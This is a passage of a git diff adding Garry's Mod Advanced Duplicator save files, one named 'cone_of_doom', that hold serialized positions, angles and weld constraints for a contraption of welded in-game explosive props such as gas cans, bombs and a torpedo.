T:023F71C0;T:02361918;}0231EEB0{Y:24=T:02302E40;Y:26=Y:25;Y:27=N:0;}0236FD38{Y:22=N:73;Y:23=N:0;}02358FE8{Y:22=N:76;Y:23=N:0;}02342180{T:0230FC08;T:02305050;}0232EEF0{Y:22=N:65;Y:23=N:0;}H02308430{T:02322358;T:02361738;T:023A6E00;T:023490C0;T:023729C0;T:023405D8;T:02337050;T:023285C8;T:022FF8F8;T:0235AF00;T:0231A608;T:0231F338;T:023865D8;T:0231AE28;T:0236A090;T:0236EF78;T:0233CAA0;T:0232F850;T:0231EC08;T:0231F590;T:02389288;T:023C94C8;T:02350938;T:02319780;T:024FD768;T:02344700;T:023193C0;T:02309A60;T:02326980;T:02338B08;T:0231EEB0;T:022FBFF0;T:0231ED70;T:0231BF08;T:023A8D18;T:0237D258;T:023325A0;T:02370670;T:0239EE30;T:0231A1F8;T:02308CF0;T:022FA420;T:02340B78;T:02361DF0;T:023330E0;T:023E91B0;T:02362408;T:02319F28;T:024E9290;T:023B3BC8;T:02319F78;T:0233F9F8;T:022F7068;T:02319190;T:022F9ED0;T:02344458;T:02318560;T:023268E0;T:023177A0;T:02338248;T:0231B1E8;T:02300988;T:02318290;T:02333A90;T:0236EFA0;T:02311CD8;T:02330868;T:0231A1D0;T:0232FFF8;}02311CD8{Y:24=T:022FA358;Y:26=Y:25;Y:27=N:0;}023490C0{Y:24=T:023283E8;Y:26=Y:25;Y:27=N:0;}02349610{Y:22=N:83;Y:23=N:0;}024607D8{Y:22=N:107;Y:23=N:0;}0231A158{Y:22=N:209;Y:23=N:0;}0231C4F8{Y:22=N:79;Y:23=N:0;}02319190{Y:24=T:023C1DB8;Y:26=Y:25;Y:27=N:0;}023DB6A0{T:0238AED0;T:0231C4F8;}023A14A0{T:02309CE0;T:02358FE8;}023C9A40{Y:22=N:222;Y:23=N:0;}023CF878{Y:22=N:211;Y:23=N:0;}022FCEC8{Y:22=N:216;Y:23=N:0;}02305FA0{Y:22=N:80;Y:23=N:0;}022F83A0{Y:22=N:65;Y:23=N:0;}023DCBB8{T:022F83A0;T:02305FA0;}0236EFA0{Y:24=T:023DCBB8;Y:26=Y:25;Y:27=N:0;}023560B8{Y:22=N:95;Y:23=N:0;}023729C0{Y:24=T:0233DAE0;Y:26=Y:25;Y:27=N:0;}0235B6D0{Y:22=N:76;Y:23=N:0;}023426F8{T:02341B68;T:0236ECF8;}02333A90{Y:24=T:023426F8;Y:26=Y:25;Y:27=N:0;}023A1C98{Y:22=N:104;Y:23=N:0;}02355B18{Y:22=N:107;Y:23=N:0;}0231F720{Y:22=N:219;Y:23=N:0;}02402B38{Y:22=N:219;Y:23=N:0;}0231B1E8{Y:24=T:0231AA68;Y:26=Y:25;Y:27=N:0;}023D4378{T:0235A550;T:0231BCB0;}023ABE78{Y:22=N:167;Y:23=N:0;}02308098{T:0235A370;T:02501598;}022F9840{Y:22=N:169;Y:23=N:0;}0232F850{Y:24=T:023B22F0;Y:26=Y:25;Y:27=N:0;}022FDC88{T:02449F10;T:02342928;}0231ADB0{Y:22=N:171;Y:23=N:0;}0231A9F0{Y:22=N:221;Y:23=N:0;}02355938{T:023210C0;T:02398210;}023210C0{Y:22=N:170;Y:23=N:0;}0231ED70{Y:24=T:023BC110;Y:26=Y:25;Y:27=N:0;}023B3BC8{Y:24=T:02341CD0;Y:26=Y:25;Y:27=N:0;}023DA9D0{Y:22=N:74;Y:23=N:0;}02332FF0{T:0231F450;T:0231F720;}0237D258{Y:24=T:02342180;Y:26=Y:25;Y:27=N:0;}023860B0{Y:22=N:168;Y:23=N:0;}023C94C8{Y:24=T:02301928;Y:26=Y:25;Y:27=N:0;}02315D88{Y:22=N:83;Y:23=N:0;}02322AB0{Y:22=N:213;Y:23=N:0;}023268E0{Y:24=T:023A7BC0;Y:26=Y:25;Y:27=N:0;}02318560{Y:24=T:023C7100;Y:26=Y:25;Y:27=N:0;}02338248{Y:24=T:023DC028;Y:26=Y:25;Y:27=N:0;}0231A540{T:02319CA8;T:02319F00;}02310E50{Y:22=N:220;Y:23=N:0;}02319F28{Y:24=T:0231A400;Y:26=Y:25;Y:27=N:0;}02377100{Y:22=N:84;Y:23=N:0;}0234C798{Y:22=N:100;Y:23=N:0;}0230E8D0{Y:22=N:103;Y:23=N:0;}0231AA68{T:0231A9F0;T:0231A9C8;}022FB078{Y:22=N:194;Y:23=N:0;}023649D8{Y:22=N:98;Y:23=N:0;}024F7890{Y:22=N:170;Y:23=N:0;}0231AE00{T:0231ADB0;T:0231AD60;}02397360{Y:22=N:73;Y:23=N:0;}022F9ED0{Y:24=T:02343D50;Y:26=Y:25;Y:27=N:0;}02318290{Y:24=T:023D4378;Y:26=Y:25;Y:27=N:0;}0231A608{Y:24=T:0231A5E0;Y:26=Y:25;Y:27=N:0;}0232AE40{Y:22=N:81;Y:23=N:0;}022FA420{Y:24=T:02339760;Y:26=Y:25;Y:27=N:0;}022FC950{Y:22=N:164;Y:23=N:0;}02387C08{Y:22=N:80;Y:23=N:0;}022754A0{T:0230D660;T:02326958;}02336F88{T:02397360;T:02322218;}02325120{Y:22=N:81;Y:23=N:0;}0233DEC8{T:023D7CA8;T:024F7890;}024E9290{Y:24=T:022FDC88;Y:26=Y:25;Y:27=N:0;}023E9390{T:0231F360;T:0236CA20;}0231E758{Y:22=N:213;Y:23=N:0;}0234A998{Y:22=N:218;Y:23=N:0;}0231F798{Y:22=N:83;Y:23=N:0;}023BC110{T:0231EC58;T:0231EC30;}02389288{Y:24=T:022FB190;Y:26=Y:25;Y:27=N:0;}023A2BE8{T:023AD818;T:0227BB70;}02338158{T:02377128;T:02313B78;}023AD818{Y:22=N:101;Y:23=N:0;}02319320{Y:22=N:216;Y:23=N:0;}023A2670{T:0230A1B8;T:022FC388;}0231EC08{Y:24=T:0231EBB8;Y:26=Y:25;Y:27=N:0;}023E91B0{Y:24=T:023E9390;Y:26=Y:25;Y:27=N:0;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Skin" +4:"Frozen" +5:"PhysicsObjects" +6:"prop_physics" +7:"Class" +8:"models/props_junk/propane_tank001a.mdl" +9:"Model" +10:"models/props_explosive/explosive_butane_can.mdl" +11:"models/props_phx/amraam.mdl" +12:"CollisionGroupMod" +13:"EntityMods" +14:"models/props_junk/gascan001a.mdl" +15:"models/props_phx/oildrum001_explosive.mdl" +16:"models/props_phx/ww2bomb.mdl" +17:"models/props_explosive/explosive_butane_can02.mdl" +18:"models/props_phx/mk-82.mdl" +19:"models/props_phx/misc/flakshell_big.mdl" +20:"models/props_c17/oildrum001_explosive.mdl" +21:"models/props_phx/torpedo.mdl" +22:"Index" +23:"Bone" +24:"Entity" +25:"Weld" +26:"Type" +27:"forcelimit" +Saved:1056 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/cone_of_doom.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/cone_of_doom.txt new file mode 100644 index 0000000..17c80b9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/cone_of_doom.txt @@ -0,0 +1,52 @@ +[Info] +Type:AdvDupe File +Creator:"McMuffin" +Date:05/30/10 +Description:"none" +Entities:44 +Constraints:43 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:1910 (exported) +Time:03:51 PM +Head:151 +HoldAngle:0,-178.273,0 +HoldPos:-14.769,11.2141,-0.283081 +StartPos:-911.726,1586.73,-143.699 +[Save] +Entities:406ADB08{Y:8=T:406ADB38;Y:9=N:0;Y:10=N:0;}4024EAC8{Y:1=A:61.6806,-100.43,307.64;Y:2=V:-2.40717,-78.9146,4107.58;Y:3=B:f;}34E87AF8{N:0=T:34E87B58;}3FFC7518{Y:1=A:61.6806,-159.558,307.64;Y:2=V:-33.6683,-51.9126,4107.58;Y:3=B:f;}34C24A10{Y:1=A:61.6806,91.1801,307.64;Y:2=V:2.35748,10.3322,4107.58;Y:3=B:f;}350DF290{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3FE9EF88{Y:8=T:3FE9EFB8;Y:9=N:0;Y:10=N:0;}34E580A8{Y:7=N:20;Y:11=T:34E58130;}34E87B58{Y:1=A:61.6806,123.195,307.64;Y:2=V:-18.3013,4.60999,4107.58;Y:3=B:f;}40BDE2B8{Y:4=T:40BDE958;Y:1=A:61.6806,76.8528,-52.3604;Y:2=V:21.8566,9.6073,4107.58;Y:6=Y:5;Y:12=T:40BDE3C8;Y:14=Y:13;Y:15=N:0;}40BDE958{N:0=T:40BDE9B8;}348E9F18{Y:1=A:-0.0686463,66.1344,0.0399881;Y:2=V:8.4986,-35.2239,4092.98;Y:3=B:f;}33CD94A8{Y:8=T:33CD94D8;Y:9=N:0;Y:10=N:0;}34AF5EA8{Y:8=T:34AF5ED8;Y:9=N:0;Y:10=N:0;}33F65F70{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}350DF938{Y:1=A:61.6806,-125.017,307.64;Y:2=V:-15.4036,-72.6674,4108.54;Y:3=B:f;}34592D60{Y:7=N:20;Y:11=T:34592DE8;}34F02910{Y:1=A:61.6806,-92.6472,307.64;Y:2=V:3.97314,-79.6606,4107.58;Y:3=B:f;}34DDFAE0{Y:1=A:61.6806,172.191,307.64;Y:2=V:-39.3378,-21.7284,4107.58;Y:3=B:f;}34C4B8E0{Y:1=A:61.6806,-55.8562,307.64;Y:2=V:31.3167,-73.3831,4107.58;Y:3=B:f;}4024E568{Y:8=T:4024E598;Y:9=N:0;Y:10=N:0;}350DF260{Y:8=T:350DF290;Y:9=N:0;Y:10=N:0;}349748D8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}33B35248{Y:7=N:20;Y:11=T:33B352A8;}350AC410{Y:1=A:61.6806,-89.8172,307.64;Y:2=V:10.6813,-79.9164,4108.59;Y:3=B:f;}3F7451B8{Y:7=N:20;Y:11=T:34D98C38;}400E1AB0{Y:8=T:400E1AE0;Y:9=N:0;Y:10=N:0;}350DF1D8{Y:7=N:20;Y:11=T:350DF260;}3495DA50{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34A98528{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34E87A10{Y:8=T:34E87A40;Y:9=N:0;Y:10=N:0;}4024E3D0{Y:4=T:4024E650;Y:1=A:61.6806,-100.43,-52.3604;Y:2=V:-2.40717,-78.9146,4107.58;Y:6=Y:5;Y:12=T:4024E4E0;Y:14=Y:13;Y:15=N:0;}34A98558{N:0=T:33C37C78;}2EA6BA20{Y:20=T:319EFDD8;}3FE60B48{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}348E9F48{N:0=T:348E9F18;}3FE60C60{Y:1=A:61.6806,-51.6112,307.64;Y:2=V:36.8714,-69.7489,4107.58;Y:3=B:f;}34E58160{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}33D91188{Y:7=N:20;Y:11=T:33D91210;}40643670{N:0=T:406436D0;}34AD8350{Y:7=N:20;Y:11=T:34AD83D8;}33A70840{Y:1=A:61.6806,-139.167,307.64;Y:2=V:-25.2766,-64.3691,4109.04;Y:3=B:f;}34974820{Y:7=N:20;Y:11=T:349748A8;}34D98C68{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3F7450A8{Y:4=T:34D98D20;Y:1=A:61.6806,55.4508,-52.3604;Y:2=V:32.6721,4.76331,4107.58;Y:6=Y:5;Y:12=T:3F7451B8;Y:14=Y:13;Y:15=N:0;}34592E18{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}40D8B548{Y:7=N:20;Y:11=T:40D8B5D0;}40D8B600{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34A98360{Y:4=T:34A98558;Y:1=A:61.6806,-112.508,-52.3604;Y:2=V:-9.44739,-76.7848,4108.45;Y:6=Y:5;Y:12=T:34A98470;Y:14=Y:13;Y:15=N:0;}1C3A4E28{Y:7=N:20;Y:11=T:1C3A4EB0;}3495D910{Y:4=T:3495DB08;Y:1=A:61.6806,91.1801,-52.3604;Y:2=V:2.35748,10.3322,4107.58;Y:6=Y:5;Y:12=T:3495D998;Y:14=Y:13;Y:15=N:0;}34AC8320{Y:4=T:34AC8518;Y:1=A:61.6806,-24.2442,-52.3604;Y:2=V:47.7688,-51.5404,4107.58;Y:6=Y:5;Y:12=T:34AC8430;Y:14=Y:13;Y:15=N:0;}34AC8430{Y:7=N:20;Y:11=T:34AC84B8;}3FF1F350{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34AD83D8{Y:8=T:34AD8408;Y:9=N:0;Y:10=N:0;}3FE60B18{Y:8=T:3FE60B48;Y:9=N:0;Y:10=N:0;}4013DBE0{Y:8=T:4013DC10;Y:9=N:0;Y:10=N:0;}34E1F790{Y:4=T:34E1ECB0;Y:1=A:61.6806,22.5008,-52.3604;Y:2=V:52.076,-18.042,4107.58;Y:6=Y:5;Y:12=T:34E1F818;Y:14=Y:13;Y:15=N:0;}40158DD0{N:0=T:40158E30;}34E1ED10{Y:1=A:61.6806,22.5008,307.64;Y:2=V:52.076,-18.042,4107.58;Y:3=B:f;}34DE9688{Y:8=T:34DE96B8;Y:9=N:0;Y:10=N:0;}34E58688{Y:1=A:61.6806,82.9552,307.64;Y:2=V:14.7815,9.02087,4107.58;Y:3=B:f;}33F66028{N:0=T:4138C840;}33D91270{N:0=T:33D91778;}34F023A8{Y:8=T:34F023D8;Y:9=N:0;Y:10=N:0;}4013DCC8{Y:1=A:61.6806,-174.189,307.64;Y:2=V:-37.5379,-37.5073,4107.58;Y:3=B:f;}40158CE8{Y:8=T:40158D18;Y:9=N:0;Y:10=N:0;}34AF5FF0{Y:1=A:61.6806,176.613,307.64;Y:2=V:-36.9575,-28.9463,4107.58;Y:3=B:f;}34C4B880{N:0=T:34C4B8E0;}33B352D8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3FD880E8{Y:1=A:61.6806,63.1838,307.64;Y:2=V:28.0593,8.50732,4107.58;Y:3=B:f;}3FECB3B0{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}400E1AE0{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34AC84E8{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}40D8B438{Y:4=T:40D8B6B8;Y:1=A:61.6806,-68.4642,-52.3604;Y:2=V:25.0247,-76.7919,4109.53;Y:6=Y:5;Y:12=T:40D8B548;Y:14=Y:13;Y:15=N:0;}34C4B7C8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}400E9910{Y:4=T:400E9B08;Y:1=A:61.6806,47.4908,-52.3604;Y:2=V:40.9726,-2.60291,4107.58;Y:6=Y:5;Y:12=T:400E9998;Y:14=Y:13;Y:15=N:0;}34974990{N:0=T:3FFA62D8;}34D98D80{Y:1=A:61.6806,55.4508,307.64;Y:2=V:32.6721,4.76331,4107.58;Y:3=B:f;}40E9E580{N:0=T:40E9EA88;}400E9A50{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}353B1F30{Y:4=T:353B25D0;Y:1=A:61.6806,49.4368,-52.3604;Y:2=V:37.1652,1.3363,4107.58;Y:6=Y:5;Y:12=T:353B2040;Y:14=Y:13;Y:15=N:0;}400E1B10{N:0=T:400E2020;}34AD82C8{Y:4=T:34AD84C0;Y:1=A:61.6806,37.4088,-52.3604;Y:2=V:44.9554,-6.89185,4107.58;Y:6=Y:5;Y:12=T:34AD8350;Y:14=Y:13;Y:15=N:0;}34E87988{Y:7=N:20;Y:11=T:34E87A10;}3FECB1E8{Y:4=T:3FECB3E0;Y:1=A:61.6806,33.6938,-52.3604;Y:2=V:47.0172,-10.3037,4107.58;Y:6=Y:5;Y:12=T:3FECB2F8;Y:14=Y:13;Y:15=N:0;}400E9B68{Y:1=A:61.6806,47.4908,307.64;Y:2=V:40.9726,-2.60291,4107.58;Y:3=B:f;}3493E728{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}400E1918{Y:4=T:400E1B10;Y:1=A:61.6806,86.8465,-52.3604;Y:2=V:7.5899,9.84485,4108.47;Y:6=Y:5;Y:12=T:400E1A28;Y:14=Y:13;Y:15=N:0;}3FFD3658{Y:1=A:61.6806,113.064,307.64;Y:2=V:-9.6438,10.0079,4107.58;Y:3=B:f;}33D91240{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}33CD9420{Y:7=N:20;Y:11=T:33CD94A8;}349748A8{Y:8=T:349748D8;Y:9=N:0;Y:10=N:0;}33D91078{Y:4=T:33D91270;Y:1=A:61.6806,-2.9692,-52.3604;Y:2=V:54.3054,-32.4247,4107.58;Y:6=Y:5;Y:12=T:33D91188;Y:14=Y:13;Y:15=N:0;}3FE60A90{Y:7=N:20;Y:11=T:3FE60B18;}35493458{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}1C3A4FF8{Y:1=A:61.6806,-34.6312,307.64;Y:2=V:46.1703,-59.0563,4108.25;Y:3=B:f;}40BDE450{Y:8=T:40BDE480;Y:9=N:0;Y:10=N:0;}3495D998{Y:7=N:20;Y:11=T:3495DA20;}3FECB2F8{Y:7=N:20;Y:11=T:3FECB380;}3495DA20{Y:8=T:3495DA50;Y:9=N:0;Y:10=N:0;}34A984F8{Y:8=T:34A98528;Y:9=N:0;Y:10=N:0;}4060F008{Y:1=A:61.6806,9.23479,307.64;Y:2=V:53.3923,-24.7657,4107.58;Y:3=B:f;}34E58218{N:0=T:34E58688;}3FE60C00{N:0=T:3FE60C60;}34E1ECB0{N:0=T:34E1ED10;}418D4628{Y:1=A:61.6806,-39.2302,307.64;Y:2=V:42.3037,-64.1155,4108.8;Y:3=B:f;}3FE9EF00{Y:7=N:20;Y:11=T:3FE9EF88;}35493428{Y:8=T:35493458;Y:9=N:0;Y:10=N:0;}40BDE9B8{Y:1=A:61.6806,76.8528,307.64;Y:2=V:21.8566,9.6073,4107.58;Y:3=B:f;}1C3A4EB0{Y:8=T:1C3A4EE0;Y:9=N:0;Y:10=N:0;}40E9EA88{Y:1=A:61.6806,-162.338,307.64;Y:2=V:-36.0274,-44.7428,4107.58;Y:3=B:f;}34AF5ED8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}40ECA900{N:0=T:40ECA930;}400E9B08{N:0=T:400E9B68;}H34D5BD00{N:179=T:34F02210;N:180=T:4113AC30;N:181=T:40E9E388;N:151=T:40ECA990;N:183=T:32137CA0;N:152=T:3FECB1E8;N:184=T:34C4B688;N:153=T:400E1918;N:185=T:3495D910;N:154=T:350DF150;N:186=T:34E57F98;N:155=T:3FE9EDF0;N:187=T:34E1F790;N:156=T:34AC8320;N:188=T:33CD9310;N:157=T:34AD82C8;N:189=T:33B35E90;N:158=T:34DE94F0;N:190=T:34592C50;N:159=T:34E87878;N:191=T:34974710;N:160=T:3F7450A8;N:192=T:3FFD3400;N:161=T:34AF69E0;N:193=T:3475F3A0;N:162=T:40D8B438;N:194=T:406AD9F8;N:163=T:1C3A4DA0;N:195=T:3FE61650;N:164=T:33F65DA8;N:165=T:34A98360;N:166=T:353B1F30;N:167=T:35493318;N:168=T:4024E3D0;N:169=T:3FD879E8;N:170=T:34DDF3E0;N:171=T:3FF1F188;N:172=T:40158B50;N:173=T:33D91078;N:174=T:40BDE2B8;N:175=T:3493E560;N:176=T:3FFC6E20;N:177=T:400E9910;N:178=T:3FDE8F50;}4138C840{Y:1=A:61.6806,28.9188,307.64;Y:2=V:49.7395,-13.6024,4107.58;Y:3=B:f;}40158C60{Y:7=N:20;Y:11=T:40158CE8;}353B2630{Y:1=A:61.6806,49.4368,307.64;Y:2=V:37.1652,1.3363,4107.58;Y:3=B:f;}34F02408{N:0=T:34F02910;}353B25D0{N:0=T:353B2630;}3FE9EDF0{Y:4=T:3FE9EFE8;Y:1=A:61.6806,-7.92221,-52.3604;Y:2=V:52.506,-42.6747,4108.16;Y:6=Y:5;Y:12=T:3FE9EF00;Y:14=Y:13;Y:15=N:0;}353B20C8{Y:8=T:353B20F8;Y:9=N:0;Y:10=N:0;}3FFD35F8{N:0=T:3FFD3658;}34AD8940{Y:1=A:61.6806,37.4088,307.64;Y:2=V:44.9554,-6.89185,4107.58;Y:3=B:f;}40158D18{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}1C3A4EE0{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34AC8518{N:0=T:35073488;}34D98D20{N:0=T:34D98D80;}40ECA990{Y:6=Y:16;Y:1=A:0,227.298,0;Y:2=V:-18.2572,-3.24854,0.283081;Y:15=N:0;Y:4=T:40ECA900;Y:14=Y:17;Y:12=T:2EA6BA20;}34DDF3E0{Y:4=T:34DDF5D8;Y:1=A:61.6806,172.191,-52.3604;Y:2=V:-39.3378,-21.7284,4107.58;Y:6=Y:5;Y:12=T:34DDF4F0;Y:14=Y:13;Y:15=N:0;}40E9E498{Y:7=N:20;Y:11=T:40E9E520;}4113ADF8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3FF1F380{N:0=T:418D4628;}33B353F0{Y:1=A:61.6806,148.843,307.64;Y:2=V:-33.6848,-10.5995,4107.58;Y:3=B:f;}40158B50{Y:4=T:40158DD0;Y:1=A:61.6806,140.53,-52.3604;Y:2=V:-28.7471,-4.68677,4107.58;Y:6=Y:5;Y:12=T:40158C60;Y:14=Y:13;Y:15=N:0;}4024E598{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}33C37C78{Y:1=A:61.6806,-112.508,307.64;Y:2=V:-9.44739,-76.7848,4108.45;Y:3=B:f;}1C3A4DA0{Y:4=T:1C3A4F98;Y:1=A:61.6806,-34.6312,-52.3604;Y:2=V:46.1703,-59.0563,4108.25;Y:6=Y:5;Y:12=T:1C3A4E28;Y:14=Y:13;Y:15=N:0;}3FFD3540{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3493E7E0{N:0=T:3493EC58;}345656B0{Y:7=N:20;Y:20=T:330FF7D8;}406AD9F8{Y:4=T:406ADBF0;Y:1=A:61.6806,-89.8172,-52.3604;Y:2=V:10.6813,-79.9164,4108.59;Y:6=Y:5;Y:12=T:406ADA80;Y:14=Y:13;Y:15=N:0;}353B2040{Y:7=N:20;Y:11=T:353B20C8;}34E57F98{Y:4=T:34E58218;Y:1=A:61.6806,82.9552,-52.3604;Y:2=V:14.7815,9.02087,4107.58;Y:6=Y:5;Y:12=T:34E580A8;Y:14=Y:13;Y:15=N:0;}3475F3A0{Y:4=T:4013DC40;Y:1=A:61.6806,-174.189,-52.3604;Y:2=V:-37.5379,-37.5073,4107.58;Y:6=Y:5;Y:12=T:4013DB58;Y:14=Y:13;Y:15=N:0;}33D6D9B8{Y:1=A:61.6806,101.439,307.64;Y:2=V:-3.88135,10.2166,4107.58;Y:3=B:f;}34DE96B8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}406ADB38{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3FFD3510{Y:8=T:3FFD3540;Y:9=N:0;Y:10=N:0;}34E87A40{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34592ED0{N:0=T:33A70840;}3FFD3400{Y:4=T:3FFD35F8;Y:1=A:61.6806,113.064,-52.3604;Y:2=V:-9.6438,10.0079,4107.58;Y:6=Y:5;Y:12=T:3FFD3488;Y:14=Y:13;Y:15=N:0;}3493E560{Y:4=T:3493E7E0;Y:1=A:61.6806,-149.603,-52.3604;Y:2=V:-29.6605,-58.3163,4107.58;Y:6=Y:5;Y:12=T:3493E670;Y:14=Y:13;Y:15=N:0;}34A98470{Y:7=N:20;Y:11=T:34A984F8;}33B352A8{Y:8=T:33B352D8;Y:9=N:0;Y:10=N:0;}3FD87AF8{Y:7=N:20;Y:11=T:3FD87B80;}3FFA62D8{Y:1=A:61.6806,-78.4972,307.64;Y:2=V:18.1035,-78.527,4108.66;Y:3=B:f;}34592DE8{Y:8=T:34592E18;Y:9=N:0;Y:10=N:0;}33B35390{N:0=T:33B353F0;}406ADBF0{N:0=T:350AC410;}4113ADC8{Y:8=T:4113ADF8;Y:9=N:0;Y:10=N:0;}34E1F818{Y:7=N:20;Y:11=T:34E1EBC8;}3493E670{Y:7=N:20;Y:11=T:3493E6F8;}3FD88088{N:0=T:3FD880E8;}4013DC40{N:0=T:4013DCC8;}4113AC30{Y:4=T:40643670;Y:1=A:61.6806,-129.085,-52.3604;Y:2=V:-20.7607,-68.7667,4108.8;Y:6=Y:5;Y:12=T:4113AD40;Y:14=Y:13;Y:15=N:0;}35073488{Y:1=A:61.6806,-24.2442,307.64;Y:2=V:47.7688,-51.5404,4107.58;Y:3=B:f;}3FFC6E20{Y:4=T:3FFC70A0;Y:1=A:61.6806,-159.558,-52.3604;Y:2=V:-33.6683,-51.9126,4107.58;Y:6=Y:5;Y:12=T:3FFC6F30;Y:14=Y:13;Y:15=N:0;}330FF7D8{Y:19=Y:18;}350DF348{N:0=T:350DF938;}400E2020{Y:1=A:61.6806,86.8465,307.64;Y:2=V:7.5899,9.84485,4108.47;Y:3=B:f;}400E9998{Y:7=N:20;Y:11=T:400E9A20;}34AF5E20{Y:7=N:20;Y:11=T:34AF5EA8;}3FDE9090{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34DDF5D8{N:0=T:34DDFAE0;}34F02320{Y:7=N:20;Y:11=T:34F023A8;}3FDE9060{Y:8=T:3FDE9090;Y:9=N:0;Y:10=N:0;}4024E650{N:0=T:4024EAC8;}3FDE8FD8{Y:7=N:20;Y:11=T:3FDE9060;}3FE9F4F0{Y:1=A:61.6806,-7.92221,307.64;Y:2=V:52.506,-42.6747,4108.16;Y:3=B:f;}4024E4E0{Y:7=N:20;Y:11=T:4024E568;}3FDE8F50{Y:4=T:3FDE9148;Y:1=A:61.6806,157.638,-52.3604;Y:2=V:-38.5314,-14.65,4107.58;Y:6=Y:5;Y:12=T:3FDE8FD8;Y:14=Y:13;Y:15=N:0;}32137CA0{Y:6=Y:21;Y:1=A:-0.0686463,66.1344,0.0399923;Y:2=V:8.4986,-35.2239,4092.98;Y:15=N:0;Y:4=T:348E9F48;Y:14=Y:17;Y:12=T:345656B0;}40D8B718{Y:1=A:61.6806,-68.4642,307.64;Y:2=V:25.0247,-76.7919,4109.53;Y:3=B:f;}3FFC6FE8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3FFC6FB8{Y:8=T:3FFC6FE8;Y:9=N:0;Y:10=N:0;}34E87878{Y:4=T:34E87AF8;Y:1=A:61.6806,123.195,-52.3604;Y:2=V:-18.3013,4.60999,4107.58;Y:6=Y:5;Y:12=T:34E87988;Y:14=Y:13;Y:15=N:0;}34AD8408{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}1C3A4F98{N:0=T:1C3A4FF8;}3FFC70A0{N:0=T:3FFC7518;}34592C50{Y:4=T:34592ED0;Y:1=A:61.6806,-139.167,-52.3604;Y:2=V:-25.2766,-64.3691,4109.04;Y:6=Y:5;Y:12=T:34592D60;Y:14=Y:13;Y:15=N:0;}406436D0{Y:1=A:61.6806,-129.085,307.64;Y:2=V:-20.7607,-68.7667,4108.8;Y:3=B:f;}3493E6F8{Y:8=T:3493E728;Y:9=N:0;Y:10=N:0;}34DE9600{Y:7=N:20;Y:11=T:34DE9688;}354933A0{Y:7=N:20;Y:11=T:35493428;}3FECB380{Y:8=T:3FECB3B0;Y:9=N:0;Y:10=N:0;}35493318{Y:4=T:35493510;Y:1=A:61.6806,101.439,-52.3604;Y:2=V:-3.88135,10.2166,4107.58;Y:6=Y:5;Y:12=T:354933A0;Y:14=Y:13;Y:15=N:0;}40E9E550{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}40BDE480{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3493EC58{Y:1=A:61.6806,-149.603,307.64;Y:2=V:-29.6605,-58.3163,4107.58;Y:3=B:f;}34DE9770{N:0=T:34DE9BE8;}3FE9EFE8{N:0=T:3FE9F4F0;}3FD87BB0{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}40BDE3C8{Y:7=N:20;Y:11=T:40BDE450;}3495DB08{N:0=T:34C24A10;}34AD84C0{N:0=T:34AD8940;}33D91210{Y:8=T:33D91240;Y:9=N:0;Y:10=N:0;}34DDF4F0{Y:7=N:20;Y:11=T:34DDF578;}3FE9EFB8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3FE61650{Y:4=T:3FE60C00;Y:1=A:61.6806,-51.6112,-52.3604;Y:2=V:36.8714,-69.7489,4107.58;Y:6=Y:5;Y:12=T:3FE60A90;Y:14=Y:13;Y:15=N:0;}33D91778{Y:1=A:61.6806,-2.9692,307.64;Y:2=V:54.3054,-32.4247,4107.58;Y:3=B:f;}3FD879E8{Y:4=T:3FD88088;Y:1=A:61.6806,63.